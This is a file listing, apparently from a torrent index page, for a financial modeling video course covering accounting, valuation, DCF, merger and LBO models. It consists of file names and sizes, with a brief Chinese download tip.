BIWS Premium - Financial Modeling Fundamentals

m4v   Hot：1446   Size：2.62 GB   Created：2017-08-26 05:30:35   Update：2021-12-12 16:19:20  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • 07 Merger Model/Bonus/INTC-MFE-Links-to-Share-Prices-and-Company-Filings.txt 609 B
    07 Merger Model/Bonus/Bonus-NOTE.txt 636 B
    06 Valuation Summary/Bonus/Bonus-NOTE.txt 658 B
    06 Valuation Summary/Bonus/Precedent-Transactions-Links.txt 1.04 KB
    02 Creating 3-Statement Projections/02-01-NOTES.txt 1.08 KB
    06 Valuation Summary/Bonus/Public-Comps-Links.txt 1.12 KB
    09 More Advanced LBO Model/Bonus/Bonus-NOTES.txt 2.09 KB
    03 Equity Value, Enterprise Value & Multiples/03-09-NOTES.txt 2.85 KB
    09 More Advanced LBO Model/Bonus/09-14-Case-Study-Text-Part-1.docx 15.59 KB
    09 More Advanced LBO Model/Bonus/09-14-Case-Study-Text-Part-2.docx 15.9 KB
    04 Valuation Overview & Comparables/04-02-Selecting-Public-Comps-After.xls 18.5 KB
    04 Valuation Overview & Comparables/04-07-Largest-Technology-Deals-After.xls 19.5 KB
    06 Valuation Summary/Bonus/RAH-Pensions.pdf 21.64 KB
    04 Valuation Overview & Comparables/04-07-Largest-Technology-Deals-Before.xls 22 KB
    06 Valuation Summary/Bonus/RAH-Possible-Comps-Screened.xls 26 KB
    06 Valuation Summary/Bonus/RAH-Options-SAR-RSU.pdf 26.95 KB
    04 Valuation Overview & Comparables/04-03-Public-Comps-Finding-Data-EV-Calc-Before.xls 28 KB
    04 Valuation Overview & Comparables/04-04-Public-Comps-Finding-Data-IS-Calc-Before.xls 28.5 KB
    04 Valuation Overview & Comparables/04-03-Public-Comps-Finding-Data-EV-Calc-After.xls 28.5 KB
    04 Valuation Overview & Comparables/04-04-Public-Comps-Finding-Data-IS-Calc-After.xls 29 KB
    06 Valuation Summary/Bonus/RAH-Possible-Comps.xls 30 KB
    01 Accounting Fundamentals/10-01-Income-Statement-Before.xls 31.5 KB
    01 Accounting Fundamentals/10-01-Income-Statement-After.xls 32 KB
    06 Valuation Summary/Bonus/Case-Study-Text-Part-1.docx 34.37 KB
    06 Valuation Summary/Bonus/RAH-Financial-Statements.pdf 34.82 KB
    04 Valuation Overview & Comparables/04-02-Selecting-Public-Comps-Before.xls 35.5 KB
    06 Valuation Summary/Bonus/Case-Study-Text-Part-2.docx 35.84 KB
    01 Accounting Fundamentals/10-02-Balance-Sheet-Assets-After.xls 37.5 KB
    01 Accounting Fundamentals/10-02-Balance-Sheet-Assets-Before.xls 37.5 KB
    07 Merger Model/Bonus/INTC-MFE-Merger-Model-Blank.xls 38 KB
    01 Accounting Fundamentals/01-23-Making-iPhones-Part-1.xls 38.5 KB
    01 Accounting Fundamentals/01-24-Making-iPhones-Part-2-After.xls 38.5 KB
    01 Accounting Fundamentals/01-18-Goodwill-Impairment.xls 38.5 KB
    01 Accounting Fundamentals/01-19-Writing-Down-Debt-Before.xls 38.5 KB
    01 Accounting Fundamentals/01-22-iPhone-Factories-Debt-Part-3-After.xls 38.5 KB
    01 Accounting Fundamentals/01-08-Depreciation-Changes.xls 38.5 KB
    01 Accounting Fundamentals/01-19-Writing-Down-Debt-After.xls 38.5 KB
    01 Accounting Fundamentals/01-13-Deferred-Income-Taxes.xls 38.5 KB
    01 Accounting Fundamentals/01-17-Bailout.xls 38.5 KB
    01 Accounting Fundamentals/01-22-iPhone-Factories-Debt-Part-3-Before.xls 38.5 KB
    01 Accounting Fundamentals/01-14-Dividends.xls 38.5 KB
    01 Accounting Fundamentals/01-24-Making-iPhones-Part-2-Before.xls 38.5 KB
    01 Accounting Fundamentals/01-21-iPhone-Factories-Debt-Part-2-After.xls 38.5 KB
    01 Accounting Fundamentals/01-12-Deferred-Revenue.xls 38.5 KB
    01 Accounting Fundamentals/01-11-Accrued-Expenses.xls 38.5 KB
    01 Accounting Fundamentals/01-09-Inventory-Changes-Cash-Debt.xls 38.5 KB
    01 Accounting Fundamentals/01-16-Raising-Paying-Off-Debt.xls 38.5 KB
    01 Accounting Fundamentals/01-21-iPhone-Factories-Debt-Part-2-Before.xls 38.5 KB
    01 Accounting Fundamentals/01-20-iPhone-Factories-Debt-Part-1.xls 38.5 KB
    01 Accounting Fundamentals/01-15-Issue-Repurchase-Shares.xls 38.5 KB
    01 Accounting Fundamentals/01-10-Inventory-LIFO-vs-FIFO-Before.xls 39 KB
    01 Accounting Fundamentals/01-10-Inventory-LIFO-vs-FIFO-After.xls 40 KB
    01 Accounting Fundamentals/10-03-Balance-Sheet-Liabilities-SE-Before.xls 40.5 KB
    07 Merger Model/Bonus/INTC-MFE-Merger-Model.xls 40.5 KB
    01 Accounting Fundamentals/10-AAPL-3-Statements.xls 41 KB
    01 Accounting Fundamentals/10-03-Balance-Sheet-Liabilities-SE-After.xls 41 KB
    01 Accounting Fundamentals/10-05-Linking-Statements-Before.xls 41.5 KB
    01 Accounting Fundamentals/10-05-Linking-Statements-After.xls 42.5 KB
    01 Accounting Fundamentals/10-04-Cash-Flow-Statement-Before.xls 43 KB
    01 Accounting Fundamentals/10-04-Cash-Flow-Statement-After.xls 44 KB
    01 Accounting Fundamentals/01-Interview-Question-Model.xls 45.5 KB
    02 Creating 3-Statement Projections/02-02-Income-Statement-Trends-Before.xls 46 KB
    02 Creating 3-Statement Projections/02-01-Overview.xls 46 KB
    02 Creating 3-Statement Projections/02-02-Income-Statement-Trends-After.xls 46.5 KB
    02 Creating 3-Statement Projections/02-03-Income-Statement-Projections-Before.xls 46.5 KB
    06 Valuation Summary/Bonus/RAH-EBITDA.pdf 46.63 KB
    09 More Advanced LBO Model/Bonus/09-14-JCG-LBO-Model-Part-1-Blank.xls 47 KB
    02 Creating 3-Statement Projections/02-04-Balance-Sheet-Trends-Before.xls 49.5 KB
    02 Creating 3-Statement Projections/02-03-Income-Statement-Projections-After.xls 49.5 KB
    02 Creating 3-Statement Projections/02-05-Balance-Sheet-Projections-Before.xls 50 KB
    02 Creating 3-Statement Projections/02-04-Balance-Sheet-Trends-After.xls 50 KB
    02 Creating 3-Statement Projections/02-05-Balance-Sheet-Projections-After.xls 54 KB
    02 Creating 3-Statement Projections/02-06-Cash-Flow-Statement-Projections-Before.xls 54 KB
    06 Valuation Summary/Bonus/BIWS-Valuation-ConAgra-Ralcorp-Questions-Answers.doc 56 KB
    09 More Advanced LBO Model/Bonus/09-14-JCG-LBO-Model-Part-1-Completed.xls 56 KB
    02 Creating 3-Statement Projections/02-06-Cash-Flow-Statement-Projections-After.xls 58.5 KB
    02 Creating 3-Statement Projections/02-07-Linking-Statements-Before.xls 58.5 KB
    02 Creating 3-Statement Projections/02-09-Interest-Before.xls 60 KB
    02 Creating 3-Statement Projections/02-08-Amortization-Before.xls 60 KB
    02 Creating 3-Statement Projections/02-07-Linking-Statements-After.xls 60 KB
    02 Creating 3-Statement Projections/02-08-Amortization-After.xls 60 KB
    02 Creating 3-Statement Projections/02-12-Fix-BS-Problem-2-Before.xls 61 KB
    02 Creating 3-Statement Projections/02-11-Fix-BS-Problem-1-After.xls 61 KB
    02 Creating 3-Statement Projections/02-Apple-3-Statement-Projections.xls 61 KB
    02 Creating 3-Statement Projections/02-09-Interest-After.xls 61 KB
    02 Creating 3-Statement Projections/02-11-Fix-BS-Problem-1-Before.xls 61 KB
    02 Creating 3-Statement Projections/02-14-Fix-BS-Problem-4-Before.xls 61.5 KB
    02 Creating 3-Statement Projections/02-13-Fix-BS-Problem-3-Before.xls 61.5 KB
    02 Creating 3-Statement Projections/02-10-Deferred-Taxes-Before.xls 62.5 KB
    02 Creating 3-Statement Projections/02-10-Deferred-Taxes-After.xls 64 KB
    02 Creating 3-Statement Projections/02-12-Fix-BS-Problem-2-After.xls 65.5 KB
    02 Creating 3-Statement Projections/02-13-Fix-BS-Problem-3-After.xls 65.5 KB
    02 Creating 3-Statement Projections/02-14-Fix-BS-Problem-4-After.xls 65.5 KB
    03 Equity Value, Enterprise Value & Multiples/03-07-Calculating-EV-Before.xls 66 KB
    03 Equity Value, Enterprise Value & Multiples/03-01-Equity-Market-Cap-After.xls 66 KB
    03 Equity Value, Enterprise Value & Multiples/03-01-Equity-Market-Cap-Before.xls 66 KB
    03 Equity Value, Enterprise Value & Multiples/03-02-Options-Overview.xls 66 KB
    03 Equity Value, Enterprise Value & Multiples/03-04-TSM-Exercise-1-Before.xls 66 KB
    03 Equity Value, Enterprise Value & Multiples/03-03-Treasury-Stock-Method-Before.xls 66 KB
    03 Equity Value, Enterprise Value & Multiples/03-03-Treasury-Stock-Method-After.xls 66 KB
    03 Equity Value, Enterprise Value & Multiples/03-04-TSM-Exercise-1-After.xls 66.5 KB
    03 Equity Value, Enterprise Value & Multiples/03-07-Calculating-EV-After.xls 66.5 KB
    03 Equity Value, Enterprise Value & Multiples/03-06-EV-vs-Equity-Value.xls 66.5 KB
    03 Equity Value, Enterprise Value & Multiples/03-09-Key-Metrics-Before.xls 66.5 KB
    03 Equity Value, Enterprise Value & Multiples/03-05-Convertibles.xls 67 KB
    03 Equity Value, Enterprise Value & Multiples/03-08-EV-Advanced-Additions.xls 67.5 KB
    03 Equity Value, Enterprise Value & Multiples/03-10-Valuation-Multiples-Before.xls 67.5 KB
    03 Equity Value, Enterprise Value & Multiples/03-09-Key-Metrics-After.xls 68 KB
    03 Equity Value, Enterprise Value & Multiples/03-10-Valuation-Multiples-After.xls 69 KB
    03 Equity Value, Enterprise Value & Multiples/03-Apple-Enterprise-Value.xls 69 KB
    03 Equity Value, Enterprise Value & Multiples/03-11-EV-vs-Equity-Value-Multiples.xls 69.5 KB
    06 Valuation Summary/Bonus/RAH-Complete-Valuation-Part-1-Blank.xls 95.5 KB
    09 More Advanced LBO Model/Bonus/09-14-JCG-LBO-Model-Part-2-Blank.xls 96 KB
    06 Valuation Summary/Bonus/RAH-Complete-Valuation-Part-1-Completed.xls 97.5 KB
    01 Accounting Fundamentals/01-BIWS-Accounting-Interview-Reference.pdf 97.53 KB
    09 More Advanced LBO Model/Bonus/09-14-JCG-LBO-Model-Part-2-Completed.xls 111 KB
    04 Valuation Overview & Comparables/04-01-Valuation-Overview.xls 115 KB
    04 Valuation Overview & Comparables/04-05-Public-Comps-Operating-Data-Before.xls 117 KB
    04 Valuation Overview & Comparables/04-05-Public-Comps-Operating-Data-After.xls 120.5 KB
    02 Creating 3-Statement Projections/02-BIWS-Projections-Quick-Reference.pdf 121.32 KB
    04 Valuation Overview & Comparables/04-06-Public-Comps-Valuation-Multiples-Before.xls 122 KB
    06 Valuation Summary/Bonus/RAH-Blank-Valuation-Part-2.xls 124.5 KB
    04 Valuation Overview & Comparables/04-06-Public-Comps-Valuation-Multiples-After.xls 127 KB
    06 Valuation Summary/Bonus/Pub-Comps-THS-CS-06.23.2011.pdf 127.6 KB
    04 Valuation Overview & Comparables/04-08-Transaction-Comps-Multiples-Before.xls 128.5 KB
    04 Valuation Overview & Comparables/04-07-Tech-M&A-Review-2008.pdf 128.56 KB
    04 Valuation Overview & Comparables/04-Apple-Public-Comps-Transaction-Comps.xls 130.5 KB
    04 Valuation Overview & Comparables/04-08-Transaction-Comps-Multiples-After.xls 131 KB
    05 Discounted Cash Flow Analysis/05-01-Overview-Assumptions.xls 134 KB
    05 Discounted Cash Flow Analysis/05-02-Projecting-Cash-Flows-Before.xls 134 KB
    03 Equity Value, Enterprise Value & Multiples/03-BIWS-Valuation-Metrics-Multiples.pdf 135.46 KB
    06 Valuation Summary/06-01-Linking-Methodologies-Before.xls 135.5 KB
    05 Discounted Cash Flow Analysis/05-03-Discounting-Cash-Flows-Before.xls 135.5 KB
    05 Discounted Cash Flow Analysis/05-02-Projecting-Cash-Flows-After.xls 135.5 KB
    05 Discounted Cash Flow Analysis/05-03-Discounting-Cash-Flows-After.xls 136 KB
    05 Discounted Cash Flow Analysis/05-04-Mid-Year-Discount-Before.xls 136 KB
    05 Discounted Cash Flow Analysis/05-04-Mid-Year-Discount-After.xls 136.5 KB
    05 Discounted Cash Flow Analysis/05-05-Terminal-Value-Multiples-After.xls 136.5 KB
    05 Discounted Cash Flow Analysis/05-06-Terminal-Value-Gordon-Growth-Before.xls 136.5 KB
    05 Discounted Cash Flow Analysis/05-05-Terminal-Value-Multiples-Before.xls 136.5 KB
    05 Discounted Cash Flow Analysis/05-07-Share-Price-Sensitivity-Tables-Before.xls 137 KB
    05 Discounted Cash Flow Analysis/05-06-Terminal-Value-Gordon-Growth-After.xls 137 KB
    06 Valuation Summary/06-01-Linking-Methodologies-After.xls 140 KB
    05 Discounted Cash Flow Analysis/05-08-Walk-Through.xls 140.5 KB
    05 Discounted Cash Flow Analysis/05-07-Share-Price-Sensitivity-Tables-After.xls 140.5 KB
    05 Discounted Cash Flow Analysis/05-10-WACC-Overview-Assumptions-Before.xls 140.5 KB
    05 Discounted Cash Flow Analysis/05-09-Interview-Questions.xls 140.5 KB
    01 Accounting Fundamentals/01-BIWS-Accounting-Quick-Reference.pdf 140.75 KB
    05 Discounted Cash Flow Analysis/05-10-WACC-Overview-Assumptions-After.xls 141.5 KB
    05 Discounted Cash Flow Analysis/05-11-Unlevered-Beta-Before.xls 142.5 KB
    05 Discounted Cash Flow Analysis/05-13-Cost-of-Equity-WACC-Before.xls 143 KB
    05 Discounted Cash Flow Analysis/05-11-Unlevered-Beta-After.xls 143 KB
    05 Discounted Cash Flow Analysis/05-12-Calculating-Our-Beta-After.xls 143 KB
    05 Discounted Cash Flow Analysis/05-12-Calculating-Our-Beta-Before.xls 143 KB
    05 Discounted Cash Flow Analysis/05-13-Cost-of-Equity-WACC-After.xls 143.5 KB
    05 Discounted Cash Flow Analysis/05-14-Interview-Questions.xls 143.5 KB
    05 Discounted Cash Flow Analysis/05-Apple-DCF.xls 143.5 KB
    06 Valuation Summary/Bonus/RAH-Complete-Valuation-Part-2.xls 145 KB
    06 Valuation Summary/06-02-Football-Field-Before.xls 151 KB
    06 Valuation Summary/06-02-Football-Field-After.xls 153.5 KB
    06 Valuation Summary/06-Apple-Complete-Valuation.xls 154 KB
    06 Valuation Summary/06-03-Interview-Questions.xls 154 KB
    02 Creating 3-Statement Projections/02-BIWS-Balancing-Balance-Sheet.pdf 173.73 KB
    07 Merger Model/07-02-Transaction-Assumptions-Before.xls 180.5 KB
    07 Merger Model/07-01-Merger-Model-Overview.xls 181 KB
    07 Merger Model/07-02-Transaction-Assumptions-After.xls 181 KB
    07 Merger Model/07-03-Buyer-Seller-IS-Before.xls 182 KB
    07 Merger Model/07-03-Buyer-Seller-IS-After.xls 183.5 KB
    07 Merger Model/07-04-Combining-IS-Before.xls 184 KB
    07 Merger Model/07-05-Accretion-Dilution-Before.xls 185 KB
    07 Merger Model/07-04-Combining-IS-After.xls 185 KB
    07 Merger Model/07-05-Accretion-Dilution-After.xls 185.5 KB
    07 Merger Model/07-06-Revenue-Synergies-Before.xls 186 KB
    07 Merger Model/07-06-Revenue-Synergies-After.xls 186 KB
    07 Merger Model/07-07-Expense-Synergies-Before.xls 186 KB
    07 Merger Model/07-07-Expense-Synergies-After.xls 186 KB
    07 Merger Model/07-08-Why-Goodwill-Before.xls 186 KB
    07 Merger Model/07-08-Why-Goodwill-After.xls 188 KB
    07 Merger Model/07-09-Calculating-Goodwill-Intangibles-DTL-Before.xls 189 KB
    07 Merger Model/07-10-Adjusting-BS-Before.xls 189.5 KB
    07 Merger Model/07-09-Calculating-Goodwill-Intangibles-DTL-After.xls 189.5 KB
    07 Merger Model/07-10-Adjusting-BS-After.xls 190 KB
    07 Merger Model/07-11-Adjusting-IS-Before.xls 190.5 KB
    07 Merger Model/07-11-Adjusting-IS-After.xls 190.5 KB
    07 Merger Model/07-12-Sensitivity-Tables-Before.xls 191 KB
    07 Merger Model/07-12-Sensitivity-Tables-After.xls 198 KB
    07 Merger Model/07-14-Interview-Questions.xls 198 KB
    07 Merger Model/07-13-Model-Walkthrough.xls 198 KB
    07 Merger Model/07-Apple-RIMM-Merger-Model.xls 198 KB
    FrontPage.PNG 210.58 KB
    08 LBO Model/08-01-LBO-Overview.xls 212 KB
    08 LBO Model/08-02-Transaction-Assumptions-Before.xls 212.5 KB
    08 LBO Model/08-02-Transaction-Assumptions-After.xls 213 KB
    08 LBO Model/08-03-Debt-Assumptions-Before.xls 213.5 KB
    08 LBO Model/08-03-Debt-Assumptions-After.xls 214 KB
    07 Merger Model/Bonus/MFE-CS-07.30.2010.pdf 214.39 KB
    08 LBO Model/08-04-Sources-Uses-After.xls 214.5 KB
    08 LBO Model/08-04-Sources-Uses-Before.xls 214.5 KB
    06 Valuation Summary/Bonus/RAH-CS-05.02.2011.pdf 217.77 KB
    07 Merger Model/Bonus/INTC-CS-08.19.2010.pdf 218.22 KB
    08 LBO Model/08-05-Operating-Assumptions-IS-Before.xls 220 KB
    08 LBO Model/08-05-Operating-Assumptions-IS-After.xls 223 KB
    08 LBO Model/08-06-Cash-Flow-Statement-Before.xls 223.5 KB
    08 LBO Model/08-06-Cash-Flow-Statement-After.xls 226 KB
    08 LBO Model/08-07-Debt-Schedules-Before.xls 227 KB
    04 Valuation Overview & Comparables/04-07-Tech-M&A-Review-2009.pdf 228.2 KB
    08 LBO Model/08-07-Debt-Schedules-After.xls 229.5 KB
    08 LBO Model/08-08-Linking-Statements-Before.xls 229.5 KB
    08 LBO Model/08-08-Linking-Statements-After.xls 229.5 KB
    08 LBO Model/08-09-Calculating-IRR-Before.xls 230 KB
    08 LBO Model/08-09-Calculating-IRR-After.xls 230.5 KB
    08 LBO Model/08-10-Sensitivity-Tables-Before.xls 231 KB
    08 LBO Model/08-11-Walking-Through.xls 237.5 KB
    08 LBO Model/08-10-Sensitivity-Tables-After.xls 237.5 KB
    08 LBO Model/08-Basic-LBO-Model.xls 237.5 KB
    08 LBO Model/08-12-Interview-Questions.xls 237.5 KB
    05 Discounted Cash Flow Analysis/05-BIWS-DCF-Quick-Reference.pdf 268.92 KB
    04 Valuation Overview & Comparables/04-BIWS-Public-Comps-Precedent-Transactions.pdf 276.24 KB
    09 More Advanced LBO Model/09-01-Overview-Changes-to-Model.xls 287 KB
    06 Valuation Summary/Bonus/Pub-Comps-CPB-CS-07.12.2011.pdf 287.33 KB
    09 More Advanced LBO Model/09-02-Transaction-Operating-Assumptions-Before.xls 288.5 KB
    09 More Advanced LBO Model/09-02-Transaction-Operating-Assumptions-After.xls 290 KB
    09 More Advanced LBO Model/09-03-Debt-Assumptions-Before.xls 291 KB
    09 More Advanced LBO Model/09-03-Debt-Assumptions-After.xls 292 KB
    09 More Advanced LBO Model/09-04-Sources-Uses-Before.xls 292.5 KB
    09 More Advanced LBO Model/09-05-PP-Allocation-Goodwill-Before.xls 293 KB
    09 More Advanced LBO Model/09-04-Sources-Uses-After.xls 293 KB
    09 More Advanced LBO Model/09-06-Pro-Forma-Balance-Sheet-Before.xls 293.5 KB
    09 More Advanced LBO Model/09-05-PP-Allocation-Goodwill-After.xls 293.5 KB
    09 More Advanced LBO Model/09-06-Pro-Forma-Balance-Sheet-After.xls 294.5 KB
    03 Equity Value, Enterprise Value & Multiples/03-BIWS-Equity-Value-Enterprise-Value.pdf 295.52 KB
    09 More Advanced LBO Model/09-07-Debt-Schedules-Interest-Before.xls 296.5 KB
    09 More Advanced LBO Model/09-07-Debt-Schedules-Interest-After.xls 299 KB
    09 More Advanced LBO Model/09-08-Debt-Schedules-Mandatory-Before.xls 299 KB
    09 More Advanced LBO Model/09-09-Debt-Schedules-Optional-Before.xls 300.5 KB
    09 More Advanced LBO Model/09-08-Debt-Schedules-Mandatory-After.xls 301 KB
    04 Valuation Overview & Comparables/04-04-HPQ-CS-11.24.2009.pdf 301.63 KB
    09 More Advanced LBO Model/09-09-Debt-Schedules-Optional-After.xls 302.5 KB
    09 More Advanced LBO Model/09-10-Modifying-IS-CFS-Before.xls 302.5 KB
    09 More Advanced LBO Model/09-11-Linking-Statements-Before.xls 305 KB
    09 More Advanced LBO Model/09-10-Modifying-IS-CFS-After.xls 305 KB
    09 More Advanced LBO Model/09-11-Linking-Statements-After.xls 305 KB
    09 More Advanced LBO Model/09-12-Returns-Sensitivities-Before.xls 305.5 KB
    09 More Advanced LBO Model/09-More-Advanced-LBO-Model.xls 313 KB
    09 More Advanced LBO Model/09-12-Returns-Sensitivities-After.xls 313 KB
    09 More Advanced LBO Model/Apple-Complete-Model.xls 313 KB
    09 More Advanced LBO Model/09-13-Interview-Questions.xls 313 KB
    07 Merger Model/07-03-RIMM-Caris-Research-03.09.2010.pdf 326.83 KB
    BIWS-Excel-Shortcuts.pdf 362.59 KB
    06 Valuation Summary/Bonus/RAH-2010-10-K.pdf 459.45 KB
    07 Merger Model/07-BIWS-Merger-Model-Quick-Reference.pdf 635.29 KB
    08 LBO Model/08-BIWS-LBO-Quick-Reference.pdf 767.09 KB
    09 More Advanced LBO Model/Bonus/09-14-JCG-Webinar-LBO-Model.pdf 849.11 KB
    04 Valuation Overview & Comparables/04-07-Largest-Tech-M&A-Update.pdf 929.4 KB
    04 Valuation Overview & Comparables/04-07-PwC-US-technology-MA-insights-2009.pdf 1.17 MB
    06 Valuation Summary/Bonus/BIWS-Valuation-ConAgra-Ralcorp.pdf 1.36 MB
    09 More Advanced LBO Model/Bonus/09-14-JCG-Webinar-LBO-Model.ppt 1.48 MB
    04 Valuation Overview & Comparables/04-07-PwC-US-technology-MA-insights-2010.pdf 1.73 MB
    06 Valuation Summary/Bonus/BIWS-Valuation-ConAgra-Ralcorp.ppt 2.07 MB
    07 Merger Model/Bonus/INTC-MFE-Basic-Merger-Model-Slides.pdf 3.36 MB
    06 Valuation Summary/Bonus/M&A-Comps-Smuckers-Folgers.pdf 3.39 MB
    07 Merger Model/Bonus/INTC-MFE-Basic-Merger-Model-Slides.ppt 4.48 MB
    08 LBO Model/08-11-Walking-Through.mp4 5.23 MB
    01 Accounting Fundamentals/01-23-Making-iPhones-Part-1.mp4 5.91 MB
    05 Discounted Cash Flow Analysis/05-08-Walk-Through.mp4 6.18 MB
    07 Merger Model/07-13-Model-Walkthrough.mp4 6.99 MB
    05 Discounted Cash Flow Analysis/05-04-Mid-Year-Discount.mp4 7.23 MB
    05 Discounted Cash Flow Analysis/05-01-Overview-Assumptions.mp4 8.28 MB
    07 Merger Model/07-05-Accretion-Dilution.mp4 8.43 MB
    05 Discounted Cash Flow Analysis/05-03-Discounting-Cash-Flows.mp4 8.53 MB
    01 Accounting Fundamentals/01-20-iPhone-Factories-Debt-Part-1.mp4 8.56 MB
    08 LBO Model/08-01-LBO-Overview.mp4 8.84 MB
    03 Equity Value, Enterprise Value & Multiples/03-02-Options-Overview.mp4 9.11 MB
    03 Equity Value, Enterprise Value & Multiples/03-04-TSM-Exercise-1.mp4 9.58 MB
    01 Accounting Fundamentals/01-07-Walk-Through-Statements.mp4 9.6 MB
    01 Accounting Fundamentals/01-24-Making-iPhones-Part-2.mp4 9.79 MB
    08 LBO Model/08-04-Sources-Uses.mp4 9.98 MB
    05 Discounted Cash Flow Analysis/05-13-Cost-of-Equity-WACC.mp4 10.09 MB
    03 Equity Value, Enterprise Value & Multiples/03-06-EV-vs-Equity-Value.mp4 10.46 MB
    08 LBO Model/08-08-Linking-Statements.mp4 10.56 MB
    04 Valuation Overview & Comparables/04-01-Overview.mp4 10.89 MB
    01 Accounting Fundamentals/01-12-Deferred-Revenue.mp4 10.97 MB
    01 Accounting Fundamentals/01-08-Depreciation-Changes.mp4 11.29 MB
    01 Accounting Fundamentals/01-16-Raising-Paying-Off-Debt.mp4 11.29 MB
    05 Discounted Cash Flow Analysis/05-05-Terminal-Value-Multiples.mp4 11.33 MB
    02 Creating 3-Statement Projections/02-11-Fix-BS-Problem-1.mp4 11.55 MB
    08 LBO Model/08-03-Debt-Assumptions.mp4 11.72 MB
    01 Accounting Fundamentals/01-18-Goodwill-Impairment.mp4 11.98 MB
    05 Discounted Cash Flow Analysis/05-12-Calculating-Our-Beta.mp4 12.45 MB
    09 More Advanced LBO Model/09-04-Sources-Uses.mp4 12.46 MB
    01 Accounting Fundamentals/01-09-Inventory-Changes-Cash-Debt.mp4 12.48 MB
    01 Accounting Fundamentals/01-21-iPhone-Factories-Debt-Part-2.mp4 12.81 MB
    05 Discounted Cash Flow Analysis/05-06-Terminal-Value-Gordon-Growth.mp4 12.88 MB
    07 Merger Model/07-11-Adjusting-IS.mp4 13.13 MB
    01 Accounting Fundamentals/01-13-Deferred-Income-Taxes.mp4 13.15 MB
    07 Merger Model/07-10-Adjusting-BS.mp4 13.43 MB
    01 Accounting Fundamentals/01-19-Writing-Down-Debt.mp4 14.03 MB
    07 Merger Model/07-07-Expense-Synergies.mp4 14.18 MB
    07 Merger Model/07-01-Overview.mp4 14.43 MB
    09 More Advanced LBO Model/09-02-Transaction-Operating-Assumptions.mp4 14.44 MB
    02 Creating 3-Statement Projections/02-01-Overview.mp4 14.48 MB
    07 Merger Model/07-06-Revenue-Synergies.mp4 14.66 MB
    03 Equity Value, Enterprise Value & Multiples/03-05-Convertibles.mp4 15.04 MB
    08 LBO Model/08-09-Calculating-IRR.mp4 15.43 MB
    02 Creating 3-Statement Projections/02-08-Amortization.mp4 15.46 MB
    02 Creating 3-Statement Projections/02-13-Fix-BS-Problem-3.mp4 15.65 MB
    01 Accounting Fundamentals/01-11-Accrued-Expenses.mp4 16.07 MB
    03 Equity Value, Enterprise Value & Multiples/03-01-Equity-Market-Cap.mp4 16.13 MB
    01 Accounting Fundamentals/01-06-Interview-Model-Overview.mp4 16.54 MB
    07 Merger Model/07-12-Sensitivity-Tables.mp4 17 MB
    01 Accounting Fundamentals/01-14-Dividends.mp4 17.34 MB
    04 Valuation Overview & Comparables/04-07-Selecting-Transaction-Comps.mp4 17.37 MB
    02 Creating 3-Statement Projections/02-12-Fix-BS-Problem-2.mp4 17.41 MB
    08 LBO Model/08-06-Cash-Flow-Statement.mp4 17.49 MB
    01 Accounting Fundamentals/01-15-Issue-Repurchase-Shares.mp4 17.62 MB
    03 Equity Value, Enterprise Value & Multiples/03-03-Treasury-Stock-Method.mp4 18.05 MB
    05 Discounted Cash Flow Analysis/05-10-WACC-Overview-Assumptions.mp4 18.2 MB
    02 Creating 3-Statement Projections/02-02-Income-Statement-Trends.mp4 18.23 MB
    09 More Advanced LBO Model/09-08-Debt-Schedules-Mandatory.mp4 18.48 MB
    03 Equity Value, Enterprise Value & Multiples/03-11-EV-vs-Equity-Value-Multiples.mp4 18.59 MB
    07 Merger Model/07-02-Transaction-Assumptions.mp4 18.71 MB
    04 Valuation Overview & Comparables/04-06-Public-Comps-Valuation-Multiples.mp4 19.03 MB
    04 Valuation Overview & Comparables/04-04-Public-Comps-Finding-Data-IS-Calc.mp4 19.03 MB
    04 Valuation Overview & Comparables/04-08-Transaction-Comps-Multiples.mp4 19.15 MB
    07 Merger Model/07-04-Combining-IS.mp4 19.31 MB
    08 LBO Model/08-10-Sensitivity-Tables.mp4 19.41 MB
    06 Valuation Summary/06-02-Football-Field.mp4 19.42 MB
    01 Accounting Fundamentals/01-10-Inventory-LIFO-vs-FIFO.mp4 19.71 MB
    08 LBO Model/08-02-Transaction-Assumptions.mp4 20.54 MB
    01 Accounting Fundamentals/01-22-iPhone-Factories-Debt-Part-3.mp4 20.55 MB
    09 More Advanced LBO Model/09-07-Debt-Schedules-Interest.mp4 20.6 MB
    03 Equity Value, Enterprise Value & Multiples/03-07-Calculating-EV.mp4 20.6 MB
    09 More Advanced LBO Model/09-10-Modifying-IS-CFS.mp4 20.69 MB
    09 More Advanced LBO Model/09-01-Overview-Changes-to-Model.mp4 20.75 MB
    02 Creating 3-Statement Projections/02-10-Deferred-Taxes.mp4 21.21 MB
    01 Accounting Fundamentals/01-17-Bailout.mp4 21.27 MB
    09 More Advanced LBO Model/09-12-Returns-Sensitivities.mp4 21.41 MB
    07 Merger Model/07-08-Why-Goodwill.mp4 21.47 MB
    09 More Advanced LBO Model/09-09-Debt-Schedules-Optional.mp4 21.49 MB
    05 Discounted Cash Flow Analysis/05-07-Share-Price-Sensitivity-Tables.mp4 21.66 MB
    04 Valuation Overview & Comparables/04-02-Selecting-Public-Comps.mp4 21.77 MB
    09 More Advanced LBO Model/09-03-Debt-Assumptions.mp4 21.79 MB
    02 Creating 3-Statement Projections/02-04-Balance-Sheet-Trends.mp4 21.95 MB
    03 Equity Value, Enterprise Value & Multiples/03-12-Interview-Questions.mp4 23.26 MB
    03 Equity Value, Enterprise Value & Multiples/03-08-EV-Advanced-Additions.mp4 23.81 MB
    02 Creating 3-Statement Projections/02-14-Fix-BS-Problem-4.mp4 24.07 MB
    05 Discounted Cash Flow Analysis/05-14-Interview-Questions.mp4 24.07 MB
    05 Discounted Cash Flow Analysis/05-11-Unlevered-Beta.mp4 24.15 MB
    08 LBO Model/08-05-Operating-Assumptions-IS.mp4 24.38 MB
    09 More Advanced LBO Model/09-05-PP-Allocation-Goodwill.mp4 25.49 MB
    02 Creating 3-Statement Projections/02-07-Linking-Statements.mp4 25.54 MB
    09 More Advanced LBO Model/09-11-Linking-Statements.mp4 25.62 MB
    07 Merger Model/07-09-Calculating-Goodwill-Intangibles-DTL.mp4 25.95 MB
    05 Discounted Cash Flow Analysis/05-02-Projecting-Cash-Flows.mp4 26.1 MB
    04 Valuation Overview & Comparables/04-05-Public-Comps-Operating-Data.mp4 26.16 MB
    02 Creating 3-Statement Projections/02-05-Balance-Sheet-Projections.mp4 26.19 MB
    07 Merger Model/07-03-Buyer-Seller-IS.mp4 26.32 MB
    08 LBO Model/08-12-Interview-Questions.mp4 26.86 MB
